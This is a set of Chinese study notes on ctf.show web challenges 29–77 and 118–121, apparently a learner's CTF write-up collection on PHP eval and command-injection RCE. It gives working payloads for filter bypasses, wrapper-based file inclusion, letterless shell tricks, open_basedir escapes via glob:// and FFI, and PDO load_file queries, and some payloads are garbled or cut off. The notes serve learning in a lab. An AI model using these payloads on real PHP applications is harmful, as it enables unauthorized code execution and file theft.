29-77+118-124
Q&A
web29中使用cat和nl命令输出3.txt无法,nl显示1
web29中如何判断是windows还是linux的,补充常见linux命令
web29 eval函数详解php manual
web30中使用c=exec(“cp fla?.php 2.txt”);$arr=file_get_contents(“2.txt”);var_dump($arr);页面无回显
c=exec(“cp fla\g.ph\p 1.txt”,$arr,$a);var_dump($arr);输出是空数组
web30再看(https://blog.csdn.net/qq_45427131/article/details/116764828)里有其他解法
(https://www.cnblogs.com/GCom/p/16947760.html#web31)是web31-40的答案,其中三种方法补充
https://blog.csdn.net/rfrder/article/details/112862827 也是很好的web32-40答案
为什么system中nl和cat命令都没有回显,but tac命令可以显示出来呢
嵌套执行的原理(先后?)
- 为什么改为c=$_GET[1];&1=system(“tac flag.php”);就不行了
web32中php文件包含函数include的具体(php manual)
https://blog.csdn.net/qq_45427131/article/details/116764557 中有讲解多种文件包含函数和执行与不执行的两种包含
php伪协议,印象以前有一篇很好的文章
web38中题解有看到的php://input是什么东西
web38中cat,nl等命令可以直接打开php文件吗回显到浏览器的话
web38<?=system(“ls”)?>中echo到哪里去了,有ls没有echo
web38中的echo $flag是什么东东
web38使用vi命令打开出现序列化的类似东东不知道什么鬼
web38中system使用tac可以回显,butnl more cat均无回显
web39中为什么不需要进行闭合和注释啊
web40中的phar是什么
web41跳过了,等熟悉一下python再来
web43中使用cat无法查康源代码,使用more可以查看源代码
web45中使用c={nl,fla?.php}%0a没有回显
web48中的sed、cut、awk、strings、curl是什么东东
web48中使用tac<>????.???||没有答案
web48中<>的原理
web50中使用<>就无法使用?
web69中为什么没法使用php://filter
web71下载文件到本地查看为什么行不通,是没有权限吗,权限去哪里查看
web71没有ob_start()怎么缓冲函数还是生效了
web71这个脚本走不通啊
1
2
3
4
5
6
7
8import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸web72大难题
web75中step3
- 如何获取数据库类别、用户名和密码
- 进行查询数据库名的sql语句
web119的文件上传法和bz法还可以继续探索
web122中$?0 表示成功, 1 表示失败???,还是状态码?
web29(eval代码执行+关键字过滤)
- 解题方法
- 方法一(命令执行法)
- 使用system函数
- 第一步输入?c=system(“ls”);
- 查看目录,中有flag.php
- 进行关键字绕过,使用通配符
- ?c=system(“cp fla?.php 1.txt);
- 将不可见的php文件复制到txt文件
- 在url查看/1.txt即可
- 代码执行知识点补充
- 代码执行有两种方法,一种直接按照代码执行的思路,一种是将代码执行转换为命令执行
- php代码审计
- isset()
- isset()检测是否已经设置并且非NULL(常与unset搭配使用)
- null 字符(”\0”)并不等同于 PHP 的 NULL 常量
- 一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回TRUE
- eval函数
- php代码执行常见函数:执行一个字符串表达式,并返回表达式的值
- error_reporting(0)
- php中的错误报告级别,传入0表示关闭错误报告
- preg_match(“/flag/i”, $c)
- 字符串匹配函数,i表示大小写均匹配
- 支持正则表达式语法
- highlight_file(_FILE_);
- 浏览器中将当前文件的代码以语法高亮的形式展示出来
- _FILE_ 是一个 PHP 魔术常量,表示当前文件的完整路径和文件名
- isset()
- eval()函数是典型的php代码执行函数
- 允许执行任意 PHP 代码
- eval(string $code);传入字符串
- 字符串中的命令要包含;(分号!!!)
- 代码执行常用命令
- var_dump(scandir(“.”));
- 命令执行知识点补充
- system(string $command, int &$result_code = null);
- 成功则返回命令输出的最后一行,失败则返回false
- system(‘ls’, $retval);会将最后一行储存在$retval里
- 关键字过滤可以使用 通配符
- linux命令中使用?代表任意一个字符,*表示任意n个字符,[]可以匹配任意一个字符(如[123]可以是1或2或3)
- php文件读取可以使用
- mv fl?g.php 1.txt 修改文件名及类型
- cp fla?.php 1.txt 复制文件
- linux常见命令
- cat
- nl
- ls
web30(eval代码执行+system关键字过滤)
- 解题方法
- 老样子看一下目录,使用exec,把结果输出一下即可:c=exec(“ls”,$arr);var_dump($arr);
- 发现flag.php,利用web29中的方法:c=exec(“cp fla?.p\hp 1.txt”,$arr,$a);echo($a);
- 其中$a只是为了看看命令有无执行成功,0则成功无误
- /1.txt即可查看到文件内容
- 代码执行知识点补充
php中输出数组所有元素的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
321. print_r()函数
$array = {1,2,3,4,5};
print_r($array);
/*输出结果如下
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 4
[4] => 5
)
*/
2. var_dump()函数
$array = {1,2,3,4,5};
var_dump($array);
/*输出结果如下
array(5) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
int(3)
[3]=>
int(4)
[4]=>
int(5)
}
*/
var_dump会输出元素的类型
- 命令执行知识点补充
- php中的命令执行函数
- system()web29中有讲过
- 在执行系统命令时,system() 函数会直接将命令的输出显示在终端或浏览器上
- system() 函数会执行系统命令,并将结果输出到标准输出
- 若需要进一步处理命令的输出,需要使用其他函数或方法来捕获和处理输出结果(如exec等)
- exec ( string $command [, array &$output [, int &$return_var ]] )
- exec()函数也是接受string类型的命令
- 若提供了output参数,会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如\n字符
- 若同时提供 output 和 result_code 参数,命令执行后的返回状态会被写入到此变量
- 返回值命令执行结果的最后一行内容,but ouput中是所有行内容,如果返回0则表示执行成功没有错误
- 输出exec() 函数在执行外部命令时,默认情况下是不会将结果直接输出到标准输出的。它会将命令的输出存储在一个数组中,通过 $output 参数返回给调用者
- 关键字绕过
- 通配符
- 使用\与引号’’或””(表示空字符)
- system()web29中有讲过
web31(eval代码执行+空格.过滤)
- 解题方法
- 方法一(嵌套逃逸)
- 通过php中的$_GET[]方式新传一个参来绕过直接对c的过滤
- ?c=eval($_GET[“a”]);&a=system(“tac flag.php”);
- 代码执行补充知识点
- eval等代码执行有可以使用嵌套逃逸来绕过对原本的过滤
- 前提是不过滤$、[]、&三个最重要
- $_GET[]中的参数可以是一个字符也可以是一个数字
- $_GET[]
- $_GET 是php中用于获取通过 URL 参数传递到服务器的数据的超全局数组
- $_GET 中的参数值是作为字符串处理的,也可以是数字
- 返回值会被当作字符串或者数组,而不是明确的数字或其他数据类型
- $_GET中只能接受一个参数,要一次多个参数只能使用多个$_GET函数,并使用&将每个参数分隔开来
- $_GET中也可以不加引号$_GET[a]
- 命令执行补充知识点
web32(php伪协议+文件包含RCE+分号过滤)
- payload
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
该题同样使用了嵌套绕过的思想
- 代码执行补充知识点
php代码执行中的分号过滤,php中有两种情况可以不使用分号结束语句
1
2
3
4
5
6
7
8
9
10//1. 在php文件末尾,使用\?\>可以省略分号
include "flag.php"
//2. if,while,for循环中只有一个语句
for($i = 0;$i<10;i++)
echo $i文件包含函数include
- 其参数不需要括号,可以用于括号过滤
- include函数需要使用””或者’’(字符串即可),若使用$_GET[]或者$POST[]则可以不用
- include函数可以不使用空格
使用?>来绕过分号过滤
- ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的
web33(同web32)
- 解题
- 同样时过滤了.,和括号,没法有括号函数,考虑使用文件包含
- 比web32多了不可以使用引号,嵌套绕过可行(没过滤$),可以开搞
- payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34(同web32-33)
- 解题
- 比web33多过滤了echo,对包含+嵌套绕过方法没有印象,直接开搞
- payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35(同web32-34)
- 解题
- 比web34多了<和=和:,but对包含+嵌套绕过方法没有影响,直接开搞
- payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36(同web32-35)
- 解题
- 比web35多了[0-9]数字的过滤,but对包含+嵌套绕过还是没有什么影响,直接开搞
- payload:c=include$_GET[aaa]?>&aaa=php://filter/read=convert.base64-encode/resource=flag.php
web37(文件包含+伪协议数据流)
- 解题
- 文件包含过滤flag,考虑data伪协议
- payload:c=data://text/plain,<?php system(“ls”)?>
- 命令执行补充知识点
- data伪协议(并不是php伪协议)
- 在 URL 中嵌入小量的数据,而不是引用外部资源(通常用于将小量的数据(如图像、CSS 样式、JavaScript 等)嵌入到 HTML 文档)
- data:[<mediatype>][;base64],<data>
- <mediatype> 是数据的 MIME 类型(例如,text/plain、image/png)
- ;base64 表示数据是经过 Base64 编码的;如果标记为使用 Base64 编码(通过 ;base64 标记),浏览器在加载时会自动解码
- <data> 是实际的数据内容
- CTF中可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,后面就是普通的rce了
web38(同web37)
- 解题
- 比37多了php和file,对上次思路就php有影响,刚好data://伪协议支持base64编码,再加上hackbar还是挺方便的
- payload:c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJtdiBmbGFcZy5wXGhwIDEudHh0Iik/Pg==(<?php system(“mv fla?.p\hp 1.txt”)?>)
- payload2:使用<?php system(“cat fla?.php >1.txt”) ?>也可以进行重定向内容
- payload3(补充知识点有解释):c=data://text/plain,<?=system(“ls”)?>
- 命令执行补充知识点
- 这里除了使用base64编码还可以使用<?=来代替<?php
- <?= 是 PHP 的短标记,通常用于输出(echo)内容(用于输出内容到页面),相当于 <?php echo
- 在 PHP 配置中,需要启用 short_open_tag 选项才能使用短标记
- 直接<??>也是php的一种短标记
web39(文件包含.php)
- 解题
- 和37相比多了.php,一开始是想直接?c=data://text/plain,<?php system(“ls”)?>//用//注释掉的,发现注释不掉但可以做,直接就出来了
- payload:?c=data://text/plain,<?php system(“ls”)?>
- 命令执行相关知识点补充
- 此处甚至无需去闭合和注释
- 注释不掉是因为 .php 前面的 php 语句已经闭合了,所以后面的 .php 会被当成 html 页面直接显示在页面上
web40(多过滤+无参RCE)
- 解题
- 过滤符号过多,嵌套伪协议走不动了
- 括号括号过滤了中文的,英文还能用,好消息,eval函数,分号没有被过滤,更是一个好消息
- 使用无参构造
- payload:c=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
- 在试payload时一步一步用print_r看一下效果凑出来
- 命令执行相关知识点补充
- 此处这道题类似于GXYCTF2019禁止套娃(buu上的题)
- 也可以见我博客上另一篇文章CTFER-RCE里有写无参RCE构造的思路
web41(无数字字母RCE+py脚本+异或绕过)
web42(不回显)
- 解题
- 题目> /dev/null 2>&1表示命令执行不回显
- 命令的问题在于>只会对同一条命令起作用,使用符号分隔开就可以了
- payload:c=tac flag.php;
- payload2:c=tac flag.php||
web43(同web42)
- 解题
- 只是在web42上多了cat和;的过滤
- payload:c=tac flag.php||
- payload:c=more flag.php||后查看源代码
- payload:c=tac flag.php%0a
- 命令执行知识点补充
- 命令分隔
- ; //分号
- | //管道符
- || //只执行前面那条命令
- & //两条命令都会执行
- && //两条命令都会执行
- %0a //回车符的url编码,%0d换行符不行
web44(同web42-43)
- 解题
- 在web43基础上多了个flag关键字
- payload:c=tac fla?.php%0a
web45(同web42-44)
- 解题
- 在web44的基础上多了个空格
- 空格绕过使用多种格式
- payload:c=tac%09fla?.php%0a
web46(同web42-45)
- 解题
- 在web45的基础上加入了$和*,没啥影响
- payload:c=nl%09fla?.php%0a后再查看源码即可
- payload:c=tac<fla’’g.php||
- 注意的是url编码的会解码,%09不属于数字
web47(同web42-46)
- 解题
- 再web46基础上多加入了一些more等打开文件的命令,tac一招过
- payload:c=tac%09fla’’g.php%0a
web48(同web42-47)
- 解题
- 多了一些无关紧要的命令过滤,构造一些比较奇怪的payload
- payload:c=tac<>fla””g.php%0a
- payload2:c=tac%09????.???||
web49(同web42-48)
- 解题
- 多了`和%的过滤
- 问题不大,还有<>和||
- payload:c=tac<>fla””g.php||
- paylaod:c=tac<fla””g.php||
- 命令执行知识点补充
- 此处实际上仍然可以使用c=tac%09fla?.php%0a
- because此处的%是url编码,解码后内容是没有的,过滤是针对url解码后的内容
web50(同web42-49)
- 解题
- 比web49多了%和\x09(回车)和\x26(&)的过滤
- 空格的话还可以使用<>来替代,其实%是可以用的,浏览器会进行一次url解码
- payload:ls||、tac<>fla\g.php
web51(同web42-50)
- 解题
- 比web49多了tac,欧我心爱的tac,但是关键词可以绕过
- payload:c=ls||、c=ta\c<fl\ag.php||
- payload2:c=nl<fl\ag.php||再查看源代码
web52(同web42-51)
- 解题
- 多了对<>两个的过滤,空格绕过可以使用%{IFS}
- 假flag.php文件需要查看根目录
- payload:c=ls${IFS}/%0a、c=ls${IFS}/fl\ag
- 命令执行知识点补充
- 使用ls可以
- ls /
- ls -l / 可以查看每个目录或文件的详细信息,会说明文件或者目录
- ls -a / 可以查看因残文件
- 也可以cd / | ls
- 直接ls文件会显示文件名
web53(同web42-52)
- 解题
- 按web51解法就好了
- payload:c=nl<fl\ag.php
web54(子串匹配)
- 解题
- 和web53类似,不过使用了子串匹配
- 正则表达式中.是任何一个字符;*是量词,表示前面的字符可以出现0次或者多次
- 此处过滤表示任何含有着几个字母的子串都不能通过,发现rm没事
- payload:c=rm${IFS}fla?.php${IFS}a.txt然后访问a.txt文件即可
- 命令执行知识点补充
- 补充读取文件的命令
- uniq
- 用于去除重复的行,并将结果输出到标准输出
- payload:c=uniq${IFS}fla?.php再查看源码即可
- grep
- 用于在文件中搜索指定的模式,并将匹配的行输出到标准输出
- grep -i忽略大小写
- payload:c=grep${IFS}’{‘${IFS}fla?.php
- uniq
- 命令的使用也可以使用通配符(打开思路)
- payload:c=/bin/?at${IFS}f???.php再查看源代码
- 写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了
- 直接写无法匹配命令的话到/bin/里面就可以了
web55(无字母RCE+不使用异或)
- 解题
- 无字母RCE,没有过滤数字./?等关键的东东
- 可以使用base64与通配符
- payload:c=/???/????64 ????.???
- payload2:c=/???/???/????2 ????.???再在url访问flag.php.bz2进行getflag
- 命令执行补充知识点
- base64命令
- base64 -d是解码
- 输出默认会输出到标准输出(STDOUT)。如果你想将输出保存到文件中,可以使用重定向符号 >
- base64 flag.php将flag.php编码并输出到标准输出
- 位于/bin/base64处
- 使用linux中的通配符?来匹配单个字符
- linux还有*和[]和[!]
- bzip2
- bzip2 filename 使用 bzip2 压缩文件,生成一个名为 “file.txt.bz2” 的压缩文件
- bzip2 filename.bz2 解压缩使用 bzip2 压缩的文件,通常情况下可以在 Linux 系统中使用 bzip2 命令
- 一般位于/usr/bin/bzip2
- linux中的/bin
- /bin 目录包含了一些基本的系统命令和工具,这些命令和工具通常是系统启动时就会使用到的,ls、cp、mv、rm、mkdir
- /usr/bin 目录则包含了更多的用户级别的命令和工具。这些命令通常是在系统安装完毕后由用户自行安装的,或者是一些第三方软件包所提供的程序,如gcc、python、java 等编程语言的编译器和解释器就可能位于 /usr/bin 目录下
- 为了让系统的根文件系统(root filesystem)尽可能小,而将一些不是系统启动必需的程序放在 /usr 目录下,以方便系统管理和维护。
- mv命令
- 用于移动文件或重命名文件/目录
- mv file.txt /path/to/directory 移动文件
- mv oldfile.txt newfile.txt 重命名文件
- mv /path/to/oldfile.txt /newpath/newfile.txt 同时移动和重命名文件
- mv -f mv -f file.txt /path/to/directory/ 如果文件存在则进行覆盖
web56(无字母RCE+文件上传)
- 解题
- 此处使用文件上传的方法进行无字母rce,条件如下
- 无过滤.空格?[]-@
- get方式的c主要利用通配符进行文件操作
- post方式的内容主要是用于执行脚本
- linux系统
- 其他详见CTFER_RCE绕过中无参中的文件上传
- 实现步骤如下
先在本地创建一个html文档用于上传文件到靶场的url(可以先复制张贴)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<form action="http://269231e4-0295-4e5c-a35d-6ae2936a1ff8.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
<!--上传的文件在网站目录下-->
</form>
</body>
</html>使用bp对上传的文件(随便上传一个文件就可以,类型不限)进行抓包
- 浏览器设置一下代理,将html文件用代理的浏览器打开即可
- 浏览器设置一下代理,将html文件用代理的浏览器打开即可
get传参c=.%20/???/????????[@-[]
- 文件再/tmp/phpxxxxxx下,xxxxxx是随机大小写字母,这一使用最后一个字母大写的情况多试几次可以实现刚刚好是,原理见详见
- .是让shell执行内部#!/bin.sh的命令
见上面两张图片就是成功的例子了
- 命令执行知识点补充
- 再bp中修改文件上传的内容要再第一个—–处空一行再写内容
web57(无字母rce+bash括号绕过)
- 解题
- 题目一看到实际还是想用web56的方法来post的,文件名就用[@-]]来,但是发现没法使用.和source和-,废了
- 还是看大佬怎么做吧,是使用bash的括号进行绕过
- 步骤
- 提示是flag在36.php里了
- 只要构造出数值36即可
- 这里使用的是system方法,看看linux系统中用于数值的东东,有一个$(())和~可以使用,数字的话
- payload(应该是吧,复现不出来了,markdown还要转义有点难受):c=$((
$(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())$(((())))))))))
- 补充知识点
- 手动拼凑可以使用复制法,先复制出6个在复制6次(就很快,不用一个一个写)
- 详见CTFER_RCE的无字母rce绕过的linux括号处
- 如果不是无字母过滤了.可以使用grep来进行绕过,payload:?c=grep${IFS}’fla’${IFS}fla??php
web58(代码执行rce)
- 解题
- 开始先尝试使用system、passthru、shell_exec等函数进行执行,but不行都在后端过滤了
- 使用代码执行,分为得到目录和获取文件两步
- payload1:c=print_r(scandir(‘./‘));查看目录后再highlight_file(‘flag.php’);直接获取文件内容
- payload2:c=print_r(scandir(‘./‘));查看目录后再print_r(file_get_contents(‘flag.php’));
- payload3:c=print_r(glob(‘*’));可以得到目录
- 代码执行知识点补充
- 禁止命令执行时使用代码执行也可以使用文件包含和嵌套绕过(是重要的思路方向)
- payload4:c=include $_POST[a];&a=php://filter/read=convert.base64-encode/resource=flag.php
- 也可以直接:c=include “php://filter/read=convert.base64-encode/resource=flag.php”;
web59(同web58)
- 解题
- 用web58方法直接突破,甚至不知道有什么区别
- payload:c=print_r(scandir(‘./‘));然后c=show_source(‘flag.php’);
- payload2:c=print_r(scandir(dirname(‘FILE’)));然后c=highlight_file(‘flag.php’);也可以是dirname(__FILE__)
- 代码执行知识点补充
- dirname(‘FILE’);和dirname(__FILE__)可以避免使用.,可用于绕过
web60-web61(同web57-59)
- 解题
- 这几道题都是一样的,复习一下无参rce吧
- payload:c=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
web62(同web57-61)
- 解题
- 和前几题一样,不过禁用了highlight函数,看来还是有区别的,方法总比困难多
- 实际上这种题还是建议先看看phpinfo();but这里被禁了
web63-65(同web57-62)
- 解题
- 这个是这个系列的最后一道题,把方法都尝试复习一遍吧
- payload1(代码执行):echo file_get_contents(‘flag.php’);
- payload2(日志文件包含):c=include “/var/log/nginx/access.log”;然后再ua里进行php命令执行,but这里日志文件中的命令执行也给禁止了
- payload3(代码执行重命名):rename(‘flag.php’,’1,txt’);but这里禁止了rename函数
- payload4(包含+全局变量):c=include “flag.php”;var_dump(get_defined_vars());
web66(假flag文件+同web57-65)
- 解题
- 水题一道
- 就是将flag藏到根目录下而已
- payload:c=highlight_file(‘/flag.txt’);
web67(同web66)
- 解题
- 在web66的基础上ban掉了print_r(),but我们还有var_dump
- payload:c=include “/flag.txt”;var_dump(get_defined_vars());
web68(highlight_file被ban+源码看不见)
- 解题
- highli_file被ban了,看文件是个问题,考虑一下文件包含,结果php://filter居然不行,不知道是怎么搞的
- 而且过滤了print_r(),不过好在var_dump还在,希望很大
- 直接include然后看变量吧,又是假文件
- payload:c=include “/flag.txt”;var_dump(get_defined_vars());
web69(数组元素输出)
- 解题
- var_dump和print_r被禁了,数组输出是个问题
- 但我们有implode()函数可以将数组元素串起来,有救了
- payload:c=echo implode(‘,’,scandir(dirname(__FILE__)));得到目录,然后include “/flag.txt”;这里又是假flag.php
- payload:c=var_export(scandir(dirname(__FILE__)));
- payload:c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt
web70(同web69)
- 解题
- 在web69的基础上多过滤了error_reporting()和ini_set()
- 实际上在处理上与web69没啥区别
- payload:c=include “/flag.txt”;echo implode(‘,’,get_defined_vars());这里的echo实际上时多余的,txt文件直接就可以访问了
web71(清除缓冲区)
- 解题
- 使用截断将后续的处理忽略
- 常用的截断函数有die
- payload1:c=include “/flag.txt”;exit;
- payload2:c=inlcude “/flag.txt”;ob_end_flush();
- 代码执行补充知识点
- 思路上
- 既然无法从浏览器读取内容,那么将内容保存到一个文件中,虽然同时也没法从浏览器中查看内容,但可以curl到本地进行查看(感觉真是一个可以行得通的思路哩)
- 还有一种思路时在eval处就将命令截断,然后就不用执行后面修改缓冲区的问题(有点好奇,组织改变)——payload1
- 还有一种思路是在缓冲区修改前将其送出(抢劫改变)——payload2
- 是否有一种机制可以对每个字符进行爆破(这个感觉不太行)
- 源码解析
- ob_get_contents()
- 函数原型:string ob_get_contents ( void )
- 返回值:ob_get_contents() 返回输出缓冲区的内容,如果没有输出缓冲区,或者输出缓冲区是空的,则返回空字符串
- ob_end_clean()
- 函数原型:bool ob_end_clean ( void )
- 返回布尔值 true。它用于清空输出缓冲区并关闭它,而不发送其内容到浏览器。如果当前没有开启输出缓冲区,它什么也不做并返回 false
- ob_start()
- 函数原型太长,不想搞了
- ob_start() 返回一个布尔值,表示是否成功开启输出缓冲区
- 缓冲相关函数都需要先开启缓冲ob_start()
- ob_get_contents()
web72(限制目录权限)
- 解题
- 题目使用了open_basedir限制了目录查看权限
- 查看本目录下还是可以的,发现假的flag.php文件,payload:gzpassthru(gzopen(‘flag.php’,’r’));
- 使用glob查看根目录下文件,payload:c=$a=new DirectoryIterator(‘glob:///*‘);foreach($a as $f){ echo $f->__toString().”***“;}exit;
- 利用DirectoryIterator($path)可以实现遍历目录下的所有文件
- glob:// — 查找匹配的文件路径模式
- DirectoryIterator(“glob:///*”) 遍历根目录里所有文件
- 下面看wp的脚本太夸张,以后再研究
web73(同web71)
- 解题
- 这题比web72简单多了
- 没有目录限制,随便玩
- payload:c=gzpassthru(gzopen(‘/flagc.txt’,’r’));exit;使用前照常scandir一下就可以
- payload2:c=require_once ‘flagc.txt’;exit;
- 代码执行知识点补充
- 文件包含不只是include而已,还有include_once和require
web74(禁用scandir)
- 解题
- 禁用scandir但我还有glob啊,只是用glob函数也可以
- payload:echo implode(‘***‘,glob(‘*‘));exit;然后readgzfile(‘flag.php’);exit;最后c=readgzfile(‘/flagx.txt’);exit;
- payload2:c=$a =new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo $f->__toString().”@@@”;}exit;
web75(open_basedir限制和include_path)
- 解题
- web72的方法(uaf漏洞)行不通,strlen过滤了
- 使用php中的pdo类直接查询数据库内容
- 先查询目录,使用ini_get_all(),有open_basedir,照常可以使用glob://绕过,step1:c=$a = new DirectoryIterator(‘glob:///*’);foreach($a as $b){ echo $b->__toString().” “; }exit;
- include不来,再次使用ini_get_all(),发现有include_path,接下来看的wp,直接连接数据库来绕过include_path
- 先查询一下数据库信息,step3:c=$dsn = ‘mysql:host=localhost;dbname=information_schema’;$pdo = new PDO($dsn,’root’,’root’);$rt = $pdo->query(‘select SCHEMA_NAME from SCHEMATA’);foreach($rt as $b){ var_export($b); }exit;
- 数据库是mysql
- host使用localhost
- 数据库使用information_schema获取数据库信息
- 查询到了一个ctftraining的数据库,step4;c=$dsn=’mysql:host=localhost;dbname=ctftraining’;$dbo = new PDO($dsn,’root’,’root’);$rs = $dbo ->query(‘select load_file(“/flag36.txt”)’);foreach($rs as $a){ var_export($a);}exit;
- 代码执行相关知识点补充
- php.ini中include_path中的/usr/local/lib/php
- 通常存储 PHP 扩展模块(libraries)和相关的共享文件,这个路径的结构可能因操作系统和 PHP 安装方式而有所不同
- PHP 扩展模块 (.so 文件): PHP 扩展模块是用 C 语言编写的动态共享库,它们提供了额外的功能和特性,可以通过 PHP 的 extension_dir 指令加载。这些模块通常存储在 /usr/local/lib/php/extensions 或类似的子目录中
- 共享文件和配置文件: 一些共享文件、配置文件或其他 PHP 相关的资源也可能存储在该路径或其子目录中
web76(同web75)
- 解题
- 和web75一样step1:c=$a = new DirectoryIterator(‘glob:///*’);foreach($a as $b){ echo $b->__toString().”| “; }exit;
- step2:c=$dsn = ‘mysql:host=localhost;dbname=information_schema’;$pdo = new PDO($dsn,’root’,’root’);$rt = $pdo -> query(‘select SCHEMA_NAME from SCHEMATA’);foreach($rt as $b){ var_export($b); }exit;
- step3:c=$dsn = ‘mysql:host=localhost;dbname=ctftraining’;$pdo = new PDO($dsn,’root’,’root’);$rt = $pdo -> query(‘select load_file(“/flag36d.txt”)’);foreach($rt as $b){ var_export($b); }exit;
web77(open_basedir+include_path+pdo限制+ffi)
- 解题
- ini_get_all看一下open_basedir和include_path和搜索一下pdo,没找到pdo拓展无法使用
- 看目录:c=$a = new DirectoryIterator(‘glob:///*’);foreach($a as $b){ var_export($b->__toString()); }exit;
- echo被ban了只能使用var_export,记得要__toString
- 有一个flag36x.txt和一个readflag目录
- 使用ffi绕过的思路:可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
- payload;c=$ffi = FFI::cdef(‘int system(const char * command);’);$ffi -> system(‘/readflag -> 1.txt’);exit;
- 详细解读
- 直接无法读取/flag36x.txt原因:权限不足
- poc:c=$ffi = FFI::cdef(‘int system(const char * command);’);$ffi -> system(‘ls -l / > 2.txt’);var_export(‘1’);exit;
- >2.txt是因为ffi不会直接输出到浏览器,此处要搞个宿主
- ls -l 列出包括文件权限信息的内容
- -r–r—– 1 root root 46 Jan 30 08:51 flag36x.txt对于其他用户并没有读的权限
- 查看自己用户:使用whoami和id,发现是www-data
- poc:c=$ffi = FFI::cdef(‘int system(const char * command);’);$ffi -> system(‘ls -l / > 2.txt’);var_export(‘1’);exit;
- /readflag是elf可执行文件,使用其来访问flag
web118(环境变量构造命令+fuzz)
- 解题
- 右键v或者bp可以看到hint,but看不到后台处理源码,sql?(不是,因为已经是命令执行的题了)使用fuzz来看看过滤
- 大写字母和一些符号都可以,可以使用变量拼接来绕过命令的小写限制,可以使用环境变量
- paylaod:${PATH:
A}${PWD:A} ????.???- 在apache+linux中,网站index页面通常位于/var/www/html/下
- PATH可执行文件路径一般是以bin结尾
- 通过命令拼接处nl命令进行打开flag.php文件,使用?来进行模糊匹配
web119(环境变量数字)
- 解题
- 继续fuzz一下,抓包发现phpversion为7.3.22,Server为nginx/1.20.1
- 目录为/var/www/html,user是www-data
- 此处构造/bin/cat flag.php
- payload:${PWD:$}???${PWD:$}?${USER:
A}${USER:$:$} ????.???- USER是www-data
- 命令执行知识点补充
- 灵活运用?进行模糊匹配,?+具体的一两个字母也可以进行模糊匹配文件名或者命令,命令注意需要使用/bin/cat路径
- 数字的话可以使用SHLVL、$ 、#和php的版本等信息
- 服务器架设php的话也可以使用${PHP_VERSION}输出对应的php版本,可以使用${PHP_VERSION:~A}来截取数字,这个要看具体情况
- ${PWD::$在无传入参数是0,对应无传入参数的$是1
- $}???${PWD::$}?${USER:~A}? ????.???
- 需要查看源码才可以,原来是elf文件
- payload2:code=${PWD::$}???${PWD::$}??${USER:~$:$} ????.???
- 限制字数0可以不写
- cat使用做t来模糊匹配更好
web121(同web119-120)
- 解题
- 过滤了更多关键词,but有PWD和#RANDOM可以用,使用/bin/base64命令来读取文件内容
- payload:code=${PWD::$}???${PWD::$}?????$}???${PWD::$}${PWD:$}?? ????.???
- 在linux中$